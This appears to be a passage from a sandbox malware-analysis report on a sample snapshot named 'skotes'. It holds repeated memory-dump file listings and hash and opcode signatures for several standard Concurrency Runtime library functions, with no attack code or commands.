Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 4e795fbe6c6f54b3765949ba96da20abf760b8e204f27ffeed6af30e2e8ff6b6
Instruction ID: c9d78141c99f990f358d9c605803d21b46fb13f434b04294f441e3fc5c117ac9
Opcode Fuzzy Hash: 4e795fbe6c6f54b3765949ba96da20abf760b8e204f27ffeed6af30e2e8ff6b6
Instruction Fuzzy Hash: 83218676904619EFDB05EFA4D68AEAEB7B4BF05710B22406DF102BB252EB316D01CB51

Function 00ACA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00ACA069

Part of subcall function 00ACB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00ACB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00ACA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00ACA0CB

Part of subcall function 00ACAB41: List.LIBCONCRT ref: 00ACAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00ACA0DB

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 4c3806840d25fe4ff28789b5a5f279a8046edee6f10f32d745c1147dfed1f9c8
Instruction ID: 6a774f099cc7d444e017764c3a64f1c4076550f3ef0f97f42cbbffadb331b465
Opcode Fuzzy Hash: 4c3806840d25fe4ff28789b5a5f279a8046edee6f10f32d745c1147dfed1f9c8
Instruction Fuzzy Hash: FF219C31900A189FCB24EF65DA91DBBB3F5FF58304701455EE443A7651DB30A905CBA2

Function 00AC4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AC4893
ListArray.LIBCONCRT ref: 00AC48A5

Part of subcall function 00AC5555: _InternalDeleteHelper.LIBCONCRT ref: 00AC5564

ListArray.LIBCONCRT ref: 00AC48AF
_InternalDeleteHelper.LIBCONCRT ref: 00AC48C8

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: bbdafa7aefe9f161ed3f2e00f70d41f04f41fe4ff3394577abe2a02e161cd64d
Instruction ID: 239f7f78022b55e749c544394de53a876cc5ab02cf2e20f5f099c4a151ddeac9
Opcode Fuzzy Hash: bbdafa7aefe9f161ed3f2e00f70d41f04f41fe4ff3394577abe2a02e161cd64d
Instruction Fuzzy Hash: 7001D631600921AFDF157BA4CA92FADB7AABF49710302012DF91457617DB21FC6197E0

Function 00ACEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00ACEE6A
ListArray.LIBCONCRT ref: 00ACEE7C

Part of subcall function 00ACEF29: _InternalDeleteHelper.LIBCONCRT ref: 00ACEF3B

ListArray.LIBCONCRT ref: 00ACEE86
_InternalDeleteHelper.LIBCONCRT ref: 00ACEE9F

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 384ecb0f3e5022e0633de4f18b3473477edb3fd28a9306c9e146ccd2bb8bb577
Instruction ID: 18eb9a8eec3ac0298d6111cd9cdeed5b50533548373cb83e505b67fe8f1b5cab
Opcode Fuzzy Hash: 384ecb0f3e5022e0633de4f18b3473477edb3fd28a9306c9e146ccd2bb8bb577
Instruction Fuzzy Hash: 9B018631600621BFCE25BB61DAC2EAEBB69BF49750306502DF81457612DB20FC2196E0

Function 00ACD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00ACD0C5
ListArray.LIBCONCRT ref: 00ACD0D7

Part of subcall function 00ACC6B2: _InternalDeleteHelper.LIBCONCRT ref: 00ACC6C4

ListArray.LIBCONCRT ref: 00ACD0E1
_InternalDeleteHelper.LIBCONCRT ref: 00ACD0FA

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: e2cc5728ad1d660547296a93e70e49a8b84d3269c3755bba0389a5557181e125
Instruction ID: 71a70e07e1fc57d72e9aa8c8e90d639e517b0411cdd00fc8e8add99c3a528077
Opcode Fuzzy Hash: e2cc5728ad1d660547296a93e70e49a8b84d3269c3755bba0389a5557181e125
Instruction Fuzzy Hash: 6401D631200521AFCE257B64CF92EADB7A9BF49720306513DF81497612DF20EC5196E0

Function 00AD33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AD33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00AD33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00AD3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AD341F

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
